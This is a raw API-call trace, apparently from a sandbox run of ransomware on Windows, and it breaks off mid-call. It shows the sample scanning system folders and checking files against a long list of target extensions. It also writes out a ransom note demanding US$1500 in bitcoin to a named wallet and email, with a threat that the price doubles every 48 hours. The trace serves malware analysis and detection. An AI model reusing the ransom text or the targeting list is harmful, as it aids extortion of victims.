0 [0165.571] lstrlenA (lpString="*.dwg") returned 5 [0165.571] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\WebAdminWithConfirmation.master", pszSpec="*.nd") returned 0 [0165.571] lstrlenA (lpString="*.nd") returned 4 [0165.571] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\WebAdminWithConfirmation.master", pszSpec="*.tlg") returned 0 [0165.572] lstrlenA (lpString="*.tlg") returned 5 [0165.572] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\WebAdminWithConfirmation.master", pszSpec="*.lgb") returned 0 [0165.572] lstrlenA (lpString="*.lgb") returned 5 [0165.572] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\WebAdminWithConfirmation.master", pszSpec="*.mov") returned 0 [0165.572] lstrlenA (lpString="*.mov") returned 5 [0165.572] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\WebAdminWithConfirmation.master", pszSpec="*.xdw") returned 0 [0165.572] lstrlenA (lpString="*.xdw") returned 5 [0165.572] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\WebAdminWithConfirmation.master", pszSpec="*.ods") returned 0 [0165.572] lstrlenA (lpString="*.ods") returned 5 [0165.572] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\WebAdminWithConfirmation.master", pszSpec="*.wav") returned 0 [0165.572] lstrlenA (lpString="*.wav") returned 5 [0165.572] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\WebAdminWithConfirmation.master", pszSpec="*.mp3") returned 0 [0165.572] lstrlenA (lpString="*.mp3") returned 5 [0165.572] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\WebAdminWithConfirmation.master", pszSpec="*.aiff") returned 0 [0165.572] lstrlenA (lpString="*.aiff") returned 6 [0165.572] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\WebAdminWithConfirmation.master", pszSpec="*.flac") returned 0 [0165.572] lstrlenA (lpString="*.flac") returned 6 [0165.572] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\WebAdminWithConfirmation.master", pszSpec="*.m4a") returned 0 [0165.572] lstrlenA (lpString="*.m4a") returned 5 [0165.572] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\WebAdminWithConfirmation.master", pszSpec="*.csv") returned 0 [0165.572] lstrlenA (lpString="*.csv") returned 5 [0165.572] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb177bc6a, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xb177bc6a, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x951a3975, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0xe36, dwReserved0=0x0, dwReserved1=0x0, cFileName="WebAdminWithConfirmationNoButtonRow.master", cAlternateFileName="WEBE69~1.MAS")) returned 1 [0165.572] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.573] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="WebAdminWithConfirmationNoButtonRow.master") returned -1 [0165.573] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="WebAdminWithConfirmationNoButtonRow.master") returned -1 [0165.573] lstrcmpiA (lpString1="", lpString2="WebAdminWithConfirmationNoButtonRow.master") returned -1 [0165.573] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\WebAdminWithConfirmation.master") returned="WebAdminWithConfirmation.master" [0165.573] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\" [0165.573] PathAddBackslashA (in: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\" | out: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\") returned="" [0165.573] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\HOW TO DECRYPT FILES.txt" [0165.573] GetFileAttributesA (lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\how to decrypt files.txt")) returned 0xffffffff [0165.573] CreateFileA (lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.573] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0165.573] WriteFile (in: hFile=0xffffffff, lpBuffer=0x4f4b00, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0) returned 0 [0165.573] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.573] CloseHandle (hObject=0xffffffff) returned 0 [0165.574] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\", lpString2="WebAdminWithConfirmationNoButtonRow.master" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\WebAdminWithConfirmationNoButtonRow.master") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\WebAdminWithConfirmationNoButtonRow.master" [0165.574] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\WebAdminWithConfirmationNoButtonRow.master", pszSpec="*.ems") returned 0 [0165.574] lstrlenA (lpString="*.ems") returned 5 [0165.574] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\WebAdminWithConfirmationNoButtonRow.master", pszSpec="*.db") returned 0 [0165.574] lstrlenA (lpString="*.db") returned 4 [0165.574] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\WebAdminWithConfirmationNoButtonRow.master", pszSpec="*.dbf") returned 0 [0165.574] lstrlenA (lpString="*.dbf") returned 5 [0165.574] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\WebAdminWithConfirmationNoButtonRow.master", pszSpec="*.myox") returned 0 [0165.574] lstrlenA (lpString="*.myox") returned 6 [0165.574] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\WebAdminWithConfirmationNoButtonRow.master", pszSpec="*.myo") returned 0 [0165.574] lstrlenA (lpString="*.myo") returned 5 [0165.574] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\WebAdminWithConfirmationNoButtonRow.master", pszSpec="*.qbw") returned 0 [0165.574] lstrlenA (lpString="*.qbw") returned 5 [0165.574] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\WebAdminWithConfirmationNoButtonRow.master", pszSpec="*.qbb") returned 0 [0165.574] lstrlenA (lpString="*.qbb") returned 5 [0165.574] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\WebAdminWithConfirmationNoButtonRow.master", pszSpec="*.qbm") returned 0 [0165.574] lstrlenA (lpString="*.qbm") returned 5 [0165.574] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\WebAdminWithConfirmationNoButtonRow.master", pszSpec="*.qbo") returned 0 [0165.574] lstrlenA (lpString="*.qbo") returned 5 [0165.574] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\WebAdminWithConfirmationNoButtonRow.master", pszSpec="*.qbx") returned 0 [0165.575] lstrlenA (lpString="*.qbx") returned 5 [0165.575] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\WebAdminWithConfirmationNoButtonRow.master", pszSpec="*.qba") returned 0 [0165.575] lstrlenA (lpString="*.qba") returned 5 [0165.575] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\WebAdminWithConfirmationNoButtonRow.master", pszSpec="*.qby") returned 0 [0165.575] lstrlenA (lpString="*.qby") returned 5 [0165.575] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\WebAdminWithConfirmationNoButtonRow.master", pszSpec="*.qbj") returned 0 [0165.575] lstrlenA (lpString="*.qbj") returned 5 [0165.575] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\WebAdminWithConfirmationNoButtonRow.master", pszSpec="*.ofx") returned 0 [0165.575] lstrlenA (lpString="*.ofx") returned 5 [0165.575] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\WebAdminWithConfirmationNoButtonRow.master", pszSpec="*.qif") returned 0 [0165.575] lstrlenA (lpString="*.qif") returned 5 [0165.575] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\WebAdminWithConfirmationNoButtonRow.master", pszSpec="*.mye") returned 0 [0165.575] lstrlenA (lpString="*.mye") returned 5 [0165.575] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\WebAdminWithConfirmationNoButtonRow.master", pszSpec="*.mbox") returned 0 [0165.575] lstrlenA (lpString="*.mbox") returned 6 [0165.575] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\WebAdminWithConfirmationNoButtonRow.master", pszSpec="*.eml") returned 0 [0165.575] lstrlenA (lpString="*.eml") returned 5 [0165.575] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\WebAdminWithConfirmationNoButtonRow.master", pszSpec="*.pst") returned 0 [0165.575] lstrlenA (lpString="*.pst") returned 5 [0165.575] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\WebAdminWithConfirmationNoButtonRow.master", pszSpec="*.ost") returned 0 [0165.575] lstrlenA (lpString="*.ost") returned 5 [0165.575] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\WebAdminWithConfirmationNoButtonRow.master", pszSpec="*.idx") returned 0 [0165.576] lstrlenA (lpString="*.idx") returned 5 [0165.576] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\WebAdminWithConfirmationNoButtonRow.master", pszSpec="*.dbx") returned 0 [0165.576] lstrlenA (lpString="*.dbx") returned 5 [0165.576] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\WebAdminWithConfirmationNoButtonRow.master", pszSpec="*.sql") returned 0 [0165.576] lstrlenA (lpString="*.sql") returned 5 [0165.576] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\WebAdminWithConfirmationNoButtonRow.master", pszSpec="*.mdb") returned 0 [0165.576] lstrlenA (lpString="*.mdb") returned 5 [0165.576] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\WebAdminWithConfirmationNoButtonRow.master", pszSpec="*.fdb") returned 0 [0165.576] lstrlenA (lpString="*.fdb") returned 5 [0165.576] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\WebAdminWithConfirmationNoButtonRow.master", pszSpec="*.wab") returned 0 [0165.576] lstrlenA (lpString="*.wab") returned 5 [0165.576] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\WebAdminWithConfirmationNoButtonRow.master", pszSpec="*.dat") returned 0 [0165.576] lstrlenA (lpString="*.dat") returned 5 [0165.576] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\WebAdminWithConfirmationNoButtonRow.master", pszSpec="*.txt") returned 0 [0165.576] lstrlenA (lpString="*.txt") returned 5 [0165.576] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\WebAdminWithConfirmationNoButtonRow.master", pszSpec="*.jpeg") returned 0 [0165.576] lstrlenA (lpString="*.jpeg") returned 6 [0165.576] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\WebAdminWithConfirmationNoButtonRow.master", pszSpec="*.jpg") returned 0 [0165.576] lstrlenA (lpString="*.jpg") returned 5 [0165.576] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\WebAdminWithConfirmationNoButtonRow.master", pszSpec="*.png") returned 0 [0165.576] lstrlenA (lpString="*.png") returned 5 [0165.576] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\WebAdminWithConfirmationNoButtonRow.master", pszSpec="*.php") returned 0 [0165.577] lstrlenA (lpString="*.php") returned 5 [0165.577] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\WebAdminWithConfirmationNoButtonRow.master", pszSpec="*.cs") returned 0 [0165.577] lstrlenA (lpString="*.cs") returned 4 [0165.577] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\WebAdminWithConfirmationNoButtonRow.master", pszSpec="*.cpp") returned 0 [0165.577] lstrlenA (lpString="*.cpp") returned 5 [0165.577] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\WebAdminWithConfirmationNoButtonRow.master", pszSpec="*.rar") returned 0 [0165.577] lstrlenA (lpString="*.rar") returned 5 [0165.577] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\WebAdminWithConfirmationNoButtonRow.master", pszSpec="*.zip") returned 0 [0165.577] lstrlenA (lpString="*.zip") returned 5 [0165.577] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\WebAdminWithConfirmationNoButtonRow.master", pszSpec="*.html") returned 0 [0165.577] lstrlenA (lpString="*.html") returned 6 [0165.577] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\WebAdminWithConfirmationNoButtonRow.master", pszSpec="*.htm") returned 0 [0165.577] lstrlenA (lpString="*.htm") returned 5 [0165.577] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\WebAdminWithConfirmationNoButtonRow.master", pszSpec="*.xlsx") returned 0 [0165.577] lstrlenA (lpString="*.xlsx") returned 6 [0165.578] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb177bc6a, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xb177bc6a, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x951a3975, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0xe36, dwReserved0=0x0, dwReserved1=0x0, cFileName="WebAdminWithConfirmationNoButtonRow.master", cAlternateFileName="WEBE69~1.MAS")) returned 0 [0165.578] FindClose (in: hFindFile=0x5025d8 | out: hFindFile=0x5025d8) returned 1 [0165.579] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x112b7702, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x112dd85c, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x112dd85c, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112", cAlternateFileName="AME656~1.163")) returned 1 [0165.579] lstrcmpA (lpString1=".", lpString2="amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112") returned -1 [0165.579] lstrcmpA (lpString1="..", lpString2="amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112") returned -1 [0165.579] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\*.*") returned="*.*" [0165.579] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\", lpString2="amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112" [0165.579] lstrlenA (lpString="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112") returned 104 [0165.579] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x112b7702, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x112dd85c, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x112dd85c, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0165.582] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0165.582] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x112b7702, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x112dd85c, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x112dd85c, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0165.582] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0165.582] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0165.582] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf56a439, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xaf56a439, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x90101471, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x3b5, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="ApplicationConfigurationPage.cs", cAlternateFileName="APPLIC~1.CS")) returned 1 [0165.582] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.582] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="ApplicationConfigurationPage.cs") returned 1 [0165.582] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="ApplicationConfigurationPage.cs") returned 1 [0165.582] lstrcmpiA (lpString1="", lpString2="ApplicationConfigurationPage.cs") returned -1 [0165.582] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\*.*") returned="*.*" [0165.582] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\" [0165.582] PathAddBackslashA (in: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\" | out: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\") returned="" [0165.582] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\HOW TO DECRYPT FILES.txt" [0165.582] GetFileAttributesA (lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\how to decrypt files.txt")) returned 0xffffffff [0165.582] CreateFileA 